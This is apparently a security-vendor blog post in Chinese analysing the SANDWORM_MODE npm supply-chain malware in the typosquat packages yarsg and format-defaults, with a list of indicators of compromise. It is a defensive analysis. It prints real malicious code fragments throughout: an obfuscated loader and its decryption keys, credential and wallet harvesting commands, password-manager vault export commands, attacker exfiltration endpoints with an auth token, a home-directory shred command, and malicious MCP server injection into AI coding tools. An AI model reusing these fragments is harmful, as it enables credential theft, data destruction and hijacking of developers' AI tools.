目录
概述
SANDWORM_MODE 软件供应链攻击活动向 npm 发布了一批恶意包,这些包使用基于 setImmediate 的延迟执行、多层 base64 + zlib + XOR 混淆以及临时文件释放器来传递捆绑的恶意载荷。我们从分析劫持的 [email protected] 开始分析,但遇到了死胡同。攻击者似乎遗漏了在发布的包中包含恶意载荷,表明该活动可能提前发布了。随后我们转向了 [email protected],那里有完整的释放器链。
Socket Security 发现并发布了关于 SANDWORM_MODE 供应链攻击的详细报告,包含技术细节、受影响包版本和妥协指标(IOC)。我们获取了其中一个恶意样本 [email protected],进行了逐步分析以理解载荷传递机制。然后转向了 [email protected],以获取多阶段释放器链的完整视图。
影响范围
- 凭证窃取:窃取 npm token、GitHub token、环境密钥和 git 凭证帮助程序数据
- 加密货币钱包清空:窃取私钥、助记词和钱包文件(ETH、SOL、BTC)
- 密码管理器渗透:搜索 Bitwarden、1Password 和 LastPass 保险库中的凭证
- 本地数据收集:扫描 Apple Notes、macOS Messages 和 Joplin SQLite 数据库中的密钥和密钥
- 蠕虫传播:使用窃取的 npm token 发布更多恶意包,级联攻击
- AI 工具链劫持:部署恶意 MCP 服务器以拦截 Claude Code、Cursor 和 Copilot 会话
获取样本
我们的分析系统在样本被从 npm 注册表中移除之前已将其捕获。本分析以 [email protected] 为起点。yarsg 中的故意拼写错误是针对流行 npm 包 yargs 的经典拼写劫持。
[email protected]
> shasum yarsg-18.0.1.tar.gz
00cd947d484d8aa11dd5dea58c67e09d4fc7d25a yarsg-18.0.1.tar.gz鉴于这是一个拼写劫持包,我们预期恶意包会包含原始 [email protected] 的代码。为确认这一点,我们从 npm 获取了原始包。
> npm view [email protected]
[...]
dist
.tarball: https://registry.npmjs.org/yargs/-/yargs-18.0.0.tgz
.shasum: 6c84259806273a746b09f579087b68a3c2d25bd1
.integrity: sha512-4UEqdc2RYGHZc7Doyqkrqiln3p9X2DZVxaGbwhn2pi7MrRagKaOcIKe8L3OxYcbhXLgLFUS3zAYuQjKBQgmuNg==
.unpackedSize: 231.4 kB
[...]恶意 [email protected] 与原始 [email protected] 之间的文件差异:
25c25
< 268 ./index.mjs
---
> 183 ./index.mjs
57c57
< 2704 ./package.json
---
> 1991 ./package.json仅有两个文件被修改:
package.json:移除devDependencies和prepare脚本index.mjs:将原始入口点替换为恶意代码的延迟加载器
package.json 差异确认了拼写劫持。名称从 yargs 改为 yarsg,版本号提升到 18.0.1,其他内容保持不变以显得合法。
--- yargs-18-0-0-package/package.json 1985-10-26 13:45:00
+++ yarsg-18-0-1-package/package.json 1985-10-26 13:45:00
@@ -1,6 +1,6 @@
{
- "name": "yargs",
- "version": "18.0.0",
+ "name": "yarsg",
+ "version": "18.0.1",
"description": "yargs the modern, pirate-themed, successor to optimist.",
"main": "./index.mjs",
"exports": {
@@ -42,30 +42,6 @@
"y18n": "^5.0.5",
"yargs-parser": "^22.0.0"
},
- "devDependencies": {
- "@babel/eslint-parser": "^7.26.10",
- "@babel/preset-typescript": "^7.26.0",
- [...]
- "yargs-test-extends": "^1.0.1"
- },
"scripts": {
"fix": "gts fix && npm run fix:js",
"fix:js": "eslint . --ext mjs --ext js --fix",
@@ -73,7 +49,6 @@
"test": "c8 mocha --enable-source-maps ./test/*.mjs --require ./test/before.mjs --timeout=24000 --check-leaks",
"test:esm": "c8 mocha --enable-source-maps ./test/esm/*.mjs --check-leaks",
"coverage": "c8 report --check-coverage",
- "prepare": "npm run compile",
"pretest": "npm run compile -- -p tsconfig.test.json",
"compile": "rimraf build && tsc",
"check": "gts lint && npm run check:js",
@@ -100,4 +75,4 @@
"engines": {
"node": "^20.19.0 || ^22.12.0 || >=23"
}
-}
+}
\ No newline at end of fileindex.mjs 变更是攻击的核心所在:
> diff -u yargs-18-0-0-package/index.mjs yarsg-18-0-1-package/index.mjs
--- yargs-18-0-0-package/index.mjs 1985-10-26 13:45:00
+++ yarsg-18-0-1-package/index.mjs 1985-10-26 13:45:00
@@ -1,10 +1,6 @@
'use strict';
-
-// Bootstraps yargs for ESM:
-import esmPlatformShim from './lib/platform-shims/esm.mjs';
-import {YargsFactory} from './build/lib/yargs-factory.js';
-
-const Yargs = YargsFactory(esmPlatformShim);
-export default Yargs;
-
-export {Yargs as 'module.exports'};
+var _d = ['.cache','manifest.cjs'];
+setImmediate(function() {
+ try { require('./' + _d.join('/')); } catch(_) {}
+});
+module.exports = require('./index.unbundled.mjs');修改后的入口点引用了两个文件:
./.cache/manifest.cjs:恶意载荷,通过setImmediate延迟加载./index.unbundled.mjs:推测为原始的index.mjs来自[email protected],重新导出以维持功能
发布的包中这两个文件都不存在。两种可能的解释:
- 攻击者在
files的package.json数组中忘记包含这些文件 - 攻击者计划了一个多阶段依赖链,这些文件将由另一个包创建
我们认为[1]是最可能的解释。但我们过去的经验表明,攻击者的创造力是无限的,因此值得注意替代可能性。
转向 [email protected]
由于 [email protected] 缺少载荷文件,我们从数据集中转向了 [email protected]。我们选择这个样本是因为:
- 它是 Socket Security 识别的恶意包之一
- 我们的内部数据集显示它是一个最小化的自包含包,直接释放载荷
> shasum format-defaults-1.0.0.tar.gz
10d99c964f601f56fa21f0f05aeed872517b0e37 sample.tar.gz❯ ls -alR
total 32
drwxr-xr-x 7 dev staff 224 21 Feb 10:08 .
drwxr-xr-x 4 dev staff 128 21 Feb 10:08 ..
-rw-r--r--@ 1 dev staff 1643 26 Oct 1985 index.js
drwxr-xr-x 4 dev staff 128 21 Feb 10:08 lib
-rw-r--r--@ 1 dev staff 1056 26 Oct 1985 LICENSE
-rw-r--r--@ 1 dev staff 719 26 Oct 1985 package.json
-rw-r--r--@ 1 dev staff 1358 26 Oct 1985 README.md
./lib:
total 368
drwxr-xr-x 4 dev staff 128 21 Feb 10:08 .
drwxr-xr-x 7 dev staff 224 21 Feb 10:08 ..
-rw-r--r--@ 1 dev staff 180766 26 Oct 1985 defaults.js
-rw-r--r--@ 1 dev staff 738 26 Oct 1985 locales.jspackage.json 将 index.js 设置为主入口点,在 require('format-defaults') 时执行。
检查 index.js 发现与我们之前在 yarsg 中看到的相同的延迟执行模式:
// [.. STRIPPED ... ]
var _exports = (module.exports = {
locales: locales,
// [.. STRIPPED ..]
configure: function (opts) {
// [.. STRIPPED ..]
try {
var _d = require('./lib/defaults');
if (_d && _d._apply) {
_d._apply(info, opts);
}
} catch (_) {}
},
// [..STRIPPED..]
});
// Auto-apply locale defaults on first require
setImmediate(function () {
try {
_exports.configure({});
} catch (_) {}
});setImmediate 调用异步调用 _exports.configure,加载包含实际恶意载荷的 ./lib/defaults.js。通过 catch(_) {} 吞掉错误以确保任何异常时的静默失败。
第 1 层:base64 片段 + zlib inflate
defaults.js 包含编码载荷,由嵌入式加载器函数解码和加载。
defaults.js 文件包含一个 _catalog 对象,具有 44 个 base64 编码的字符串片段(_loc_000 到 _loc_043),伪装成"区域数据"。载荷执行链:
- 从
_catalog片段组装约 180KB 的base64数据 - 使用
zlib.inflateSync(Buffer.from(raw, 'base64'))将其解码为可执行 JavaScript 源码 - 将其写入随机临时文件:
os.tmpdir() + '/.' + random + '.js'(带点前缀以隐藏) - 通过
require(_f)执行 - 在
finally块中通过_fs.unlinkSync(_f)立即删除
为检查解码后的载荷,我们在 Docker 容器内运行分析。
docker run -it --rm -v $(pwd):/app node:24 bash注意: 所有后续分析均在容器内完成。当前目录已挂载并在分析后被视为不可信。
我们修改了 defaults.js 以记录解码后的脚本而非写入 /tmp 并执行。这是提取混淆恶意逻辑的最短路径。
第 2 层:zlib inflate + XOR 加密
提取第 1 层载荷后发现了另一层混淆。第二阶段使用类似的 base64 + zlib 解压缩,但后跟一个 32 字节循环 XOR 密钥。
(function(){var _p=(function(){
var d="eNqMfHdU0+nWNQKCo6goWMaGOAIW4MLIoFKUJPQQAgQkPRSxMKPY6CCphBZIQhohCQERRxAxIF0UkWHoHSGEgNeZQREQU
ASG0fitEJxy7/uu7/3......"
d=require('zlib').inflateSync(Buffer.from(d,'base64')).toString('binary');
var k=[214,232,243,62,189,212,19,46,155,184,197,42,240,85,159,72,224,228,85,241,242,61,45,131,88,247,12,49,40,249,46,54];d=d.split('').map(function(c,i){return String.fromCharCode(c.charCodeAt(0)^k[i%k.length])}).join('');
return d;
})();(0,eval)(_p)})();XOR 密钥不是可打印的 ASCII。它是随机二进制数据,而非密码短语。这一步确保膨胀后的输出无法被签名扫描器模式匹配。解码结果通过间接 eval((0, eval)(_p))执行,这强制在全局范围内执行。
我们应用了相同的技术:修改脚本以打印解码后的输出而非执行。
第 3 层:AES-256-GCM 加密模块
第 2 层提取输出是一个 webpack 捆绑的 JavaScript 程序。在其中,一个 AES-256-GCM 加密 blob 加载最敏感的attack模块:传播、渗透、git hook 持久化、MCP 注入和死开关。32 字节解密密钥通过对两组 4 个 8 字节缓冲区进行 XOR 派生:
var e = [Buffer.from("e02136b6765a4d30","hex"), ...];
var t = [Buffer.from("43270f48a6a7025e","hex"), ...];
var s = Buffer.alloc(32);
for (var n = 0; n < 4; n++)
for (var o = 0; o < 8; o++)
s[8*n+o] = e[n][o] ^ t[n][o];分割密钥派生确保实际的 AES 密钥在源码中从不以单个字符串形式出现。解密后的代码写入 /dev/shm(Linux)或 os.tmpdir(),通过 require() 加载,然后立即取消链接。每一层都使用相同的写-执行-删除反取证模式。
这些 AES 保护的模块还在 48 小时时间延迟后才激活(详见执行时机部分),这意味着仅运行包几分钟的沙箱永远不会到达这一层。
每一层击败不同类别的检测:第 1 层将载荷从静态字符串扫描器隐藏,第 2 层击败对膨胀输出的模式匹配,第 3 层用带时间门控触发的认证加密保护最敏感的模块。
执行时机
载荷在 require('format-defaults') 上自动激活。无需生命周期脚本,无需显式函数调用。但并非在所有环境中都立即触发。
在 CI 环境中(通过 GITHUB_ACTIONS、GITLAB_CI、CIRCLECI、JENKINS_URL、BUILDKITE 检测),载荷立即运行。在本地/开发者环境中,使用基于主机指纹的抖动延迟执行 5 到 30 秒:
const e =
5e3 +
(i.createHash('md5').update(\`${r.hostname()}${r.userInfo().username}${__dirname}\`).digest().readUInt32BE(4) % 25e3);
setTimeout(() => d().catch(() => {}), e).unref();.unref() 确保计时器不会保持 Node.js 进程存活,因此恶意软件在正常进程生命周期内不可见地运行,且不会阻止退出。
第二个门控阻止完整攻击在安装后约 48 小时之前触发,使用包目录的 mtime 加每个主机的抖动:
const t = n.statSync(e).mtimeMs;
const s =
i.createHash('md5').update(\`${r.hostname()}${r.userInfo().username}\`).digest().readUInt32BE(0) %
p.stage2.jitterRangeMs;
const c = t + p.stage2.baseDelayMs + s; // baseDelayMs = 172800000 (48h)
return Date.now() >= c;这规避了自动化沙箱分析,后者通常仅运行包几分钟。
载荷行为
最终解密的载荷是一个 webpack 捆绑的应用程序,顺序执行六个阶段。
第 1 阶段:侦察
载荷在任何操作之前先对主机系统进行指纹识别:
survey() {
return {
environment: e.isCi ? "ci" : "local",
ciProvider: e.provider,
runtime: { bunAvailable: !!t, nodeVersion: process.version, pid: process.pid },
system: s, // platform, arch, hostname, username, cpus, totalMem, uptime
};
}它检测多个 CI 提供商,包括 GitHub Actions、GitLab CI、CircleCI、Buildkite、AWS CodeBuild、Jenkins、Travis 和 Azure DevOps。
第 2 阶段:凭证收集
针对五个类别的综合凭证收集器。
npm token 来自 .npmrc 文件和环境变量:
npmrc: [
n.join(o.homedir(), ".npmrc"),
n.join(process.cwd(), ".npmrc"),
],提取 :_authToken=、:_auth=(base64 基本认证)和代理凭证。也从环境读取 NPM_TOKEN、NPM_CONFIG_TOKEN、NPM_AUTH_TOKEN。
GitHub token 来自多个来源:
// Environment variables with known prefixes
tokenPrefixes: ['ghp_', 'gho_', 'github_pat_'];
// gh CLI config
n.readFileSync(a.harvest.github.cliConfig, 'utf-8').match(/oauth_token:\s*(.+)/g);
// Git credential helper
t('git credential fill', {
input: 'protocol=https\nhost=github.com\n\n',
env: { ...process.env, GIT_TERMINAL_PROMPT: '0' },
});环境密钥 通过扫描所有环境变量中的关键字:
envKeywords: ['KEY', 'SECRET', 'TOKEN', 'PASSWORD', 'CREDENTIAL', 'AUTH', 'API'];加密货币资产,最广泛的收集类别:
configFiles: ["hardhat.config.js", "hardhat.config.ts", "foundry.toml",
".secret", ".env", ".env.local", ".env.production"],
keyPatterns: {
ethPrivateKey: "(?:0x)?[0-9a-fA-F]{64}",
mnemonic: "(?:[a-z]+\\s){11,24}[a-z]+",
solanaKey: "\\[\\s*\\d+(?:\\s*,\\s*\\d+){31,63}\\s*\\]",
bitcoinWif: "(?:5[1-9A-HJ-NP-Za-km-z]{50}|[KL][1-9A-HJ-NP-Za-km-z]{51})",
extendedPrivKey: "xprv[1-9A-HJ-NP-Za-km-z]{100,115}",
},它在 ~/.config/solana/id.json 读取 Solana CLI 钱包文件,并在当前工作目录和 $HOME 下的所有非隐藏目录中扫描包含私钥或助记词的配置文件。
密码管理器 通过其 CLI(如果会话已解锁):
// Bitwarden: searches items by crypto-related terms
e(\`bw list items --search ${JSON.stringify(o)}${n} 2>/dev/null\`, ...)
// 1Password: lists items then fetches full details for matches
e(\`op item get ${JSON.stringify(n.id)} --format json 2>/dev/null\`, ...)
// LastPass: exports entire vault
e("lpass export 2>/dev/null", ...)在所有三个管理器中使用的搜索词:
pmSearchTerms: [
'seed',
'mnemonic',
'wallet',
'crypto',
'private key',
'recovery',
'backup phrase',
'secret phrase',
'ledger',
'metamask',
'bitcoin',
'ethereum',
'xprv',
];恶意软件还搜索 SQLite 数据库,包括 Apple Notes、macOS Messages 和 Joplin 中的加密密钥:
sqliteTargets: [
{
name: 'apple-notes',
path: '~/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite',
query: "SELECT ZTITLE || ' ' || ZSNIPPET FROM ZICCLOUDSYNCINGOBJECT ...",
},
{
name: 'macos-messages',
path: '~/Library/Messages/chat.db',
query: 'SELECT text FROM message WHERE text IS NOT NULL AND length(text) > 20;',
},
{
name: 'joplin',
path: '~/Library/Application Support/joplin-desktop/database.sqlite',
query: "SELECT title || ' ' || body FROM notes WHERE body IS NOT NULL;",
},
];在进入后续阶段之前,任何发现的加密密钥都会立即渗透到专用清空端点。
drain: {
endpoint: "https://pkg-metrics.official334.workers.dev/drain",
authToken: "fa31c223d78b02d2315770446b9cb6f79ffc497db36d0f0b403e77ff4466cafb",
}第 3 阶段:蠕虫传播
这是蠕虫组件,类似于我们过去分析过的 Shai-Hulud 蠕虫(一类在野外观察到的 npm 蠕虫式供应链攻击)。恶意软件使用窃取的 npm 和 GitHub token 向活跃的 npm 注册表发布中毒包:
propagation: {
maxPackages: 100,
delayMinMs: 30000, // 30 seconds between publishes
delayMaxMs: 300000, // 5 minutes
sortByDownloads: true,
skipScoped: false,
},
registry: { live: "https://registry.npmjs.org" }每个受感染开发者的 token 都用于发布更多恶意包,创建级联供应链攻击。
第 4 阶段:Git Hook 持久化
恶意软件扫描 git 仓库并安装恶意 hook:
gitHooks: {
enabled: true,
maxRepos: 50,
scanDepth: 4,
installPreCommit: true,
installPrePush: true,
setTemplate: true,
}通过设置全局 git 模板,该机器上所有未来的 git init 和 git clone 操作都包含恶意 hook。
第 5 阶段:MCP 服务器注入
恶意软件部署恶意 Model Context Protocol 服务器以劫持 AI 辅助开发工具(Claude Code、Cursor、Copilot 等):
mcp: {
enabled: true,
_namePool: {
prefixes: ["dev","ts","node","npm","eslint","project","workspace","lint","pkg","build"],
functions: ["utils","indexer","analyzer","tools","helper","bridge","server","cache","graph",
"watcher","scanner","manager"],
dirPrefixes: [".dev",".node",".project",".ts",".workspace",".npm",".lint",".build",
".pkg",".cache"],
},
}服务器和目录名称从这些池中随机选择(例如,eslint-analyzer 在 .node-cache),使按名称检测不切实际。该模块还发现本地 LLM 安装并收集 LLM API 密钥。
第 6 阶段:渗透
所有收集的数据通过三个冗余通道渗透。
HTTPS 通过直接 POST 到 Cloudflare Worker:
exfil: {
https: {
endpoint: "https://pkg-metrics.official334.workers.dev/exfil",
timeout: 8000,
},GitHub 通过使用窃取的 token 创建私有仓库,在无辜命名的文件中存储双重 base64 编码的数据:
github: {
repoNameLength: 18,
encoding: "double-base64",
private: true,
}DNS 通过 base32 编码的查询和 DGA(域名生成算法)回退:
dns: {
domain: "freefan.net",
secondaryDomains: ["fanfree.net"],
chunkSize: 63,
encoding: "base32",
dgaTlds: ["cc","io","xyz","top","pw","tk","ws","gg","ly","mx"],
}DGA 种子源自主机特定的 HMAC:
e.createHmac('sha256', 'sw2025')
.update(\`${o.hostname()}:${o.userInfo().username}:${o.platform()}:${o.arch()}\`)
.digest('hex')
.slice(0, 16);死开关
载荷评估传播和渗透是否都失败。如果死开关触发,可用的 getDestructCommand() 方法:
// Linux
\`find "${n.homedir()}" -type f -writable -user "${e}" -print0 | xargs -0 -r shred -uvz -n 1\`
// Windows
\`cipher /W:${n.homedir()}\`;当前配置为禁用:
deadSwitch: { enabled: false, trigger: "both-fail" }这是一种数据销毁能力:粉碎用户主目录中所有可写文件,保留备用。
配置基础设施
载荷使用环境变量暴露广泛的运行时配置。
| 变量 | 用途 |
|---|---|
SANDWORM_DEBUG | 启用 console.log / console.error 日志 |
SANDWORM_MODE | live / ci / 模拟模式 |
SANDWORM_EXFIL_ENDPOINT | 覆盖渗透 C2 端点 |
SANDWORM_DNS_DOMAIN | 覆盖 DNS 渗透域名 |
SANDWORM_DGA_SEED | 覆盖 DGA 种子 |
SANDWORM_DRAIN_ENDPOINT | 覆盖加密货币清空端点 |
SANDWORM_SKIP_MTIME | 绕过 48 小时第 2 阶段门控 |
SANDWORM_SKIP_DELAY | 绕过初始执行延迟 |
SANDWORM_MAX_PACKAGES | 蠕虫传播计数上限 |
SANDWORM_CARRIER_NAME | 用于拼写劫持传播的命名载体包 |
禁用的多态模块暗示计划中的未来能力:
polymorph: {
enabled: false,
endpoint: "http://localhost:11434/api/generate",
model: "deepseek-coder:6.7b",
transformations: ["rename-vars", "rewrite-flow", "insert-decoy", "encode-strings"],
}这将使用本地 LLM 重写恶意软件自身的代码:变量重命名、控制流更改、诱饵插入和字符串编码,为每次感染生成独特变体。
妥协指标
网络指标
| 指标 | 值 |
|---|---|
| 渗透端点 | https://pkg-metrics.official334.workers.dev/exfil |
| 清空端点 | https://pkg-metrics.official334.workers.dev/drain |
| 清空认证 token | fa31c223d78b02d2315770446b9cb6f79ffc497db36d0f0b403e77ff4466cafb |
| DNS 渗透域名 | freefan.net |
| DNS 辅助域名 | fanfree.net |
| DGA TLD | cc、io、xyz、top、pw、tk、ws、gg、ly、mx |
| DGA 种子 HMAC 密钥 | sw2025 |
文件系统指标
| 指标 | 描述 |
|---|---|
$TMPDIR 或 /dev/shm 中匹配 .<random>.js 的临时文件 | 写-执行-删除载荷暂存 |
$HOME 中匹配 .dev-*、.node-*、.project-* 的隐藏目录 | MCP 服务器部署 |
修改的 .git/hooks/pre-commit 和 .git/hooks/pre-push | Git hook 持久化 |
| 修改的全局 git 模板目录 | 所有新仓库的持久化 hook 安装 |
| 具有 18 个字符随机名称的私有 GitHub 仓库 | 渗透数据存储 |
与 yarsg 的共享指纹
format-defaults 和 yarsg 拼写劫持都共享相同的延迟-静默执行模式:
setImmediate(function () {
try {
/* malicious require */
} catch (_) {}
});setImmediate 将执行与模块加载解耦。使用一次性变量的 catch(_) {} 确保完全静默失败。这个共享指纹暗示了一个通用工具包或作者。
结论
SANDWORM_MODE 不是新技术。延迟执行、多层混淆和写-执行-删除技术是 npm 供应链攻击中的既定模式。使此活动值得注意的是其载荷的广度。这包括跨五个类别的凭证收集、使用窃取 token 的蠕虫传播、git hook 持久化、针对 AI 开发工具的 MCP 服务器注入,以及三个冗余渗透通道。禁用的死开关和多态模块表明此工具包仍在积极开发中。
48 小时时间门控特别有效。大多数自动化分析环境运行包仅几分钟,而非几天。在完整载荷触发时,包已通过初步筛选。
防御此类攻击需要在恶意包进入依赖树之前将其捕获。vet 可扫描您的依赖项并标记表现出这些模式的包。pmg 作为包管理器防护,在不受信任的代码到达您的环境之前实时拦截安装。
- npm
- supply-chain
- security
- malware-analysis
SafeDep 博客最新更新
关注以获取开源安全与工程的最新更新和见解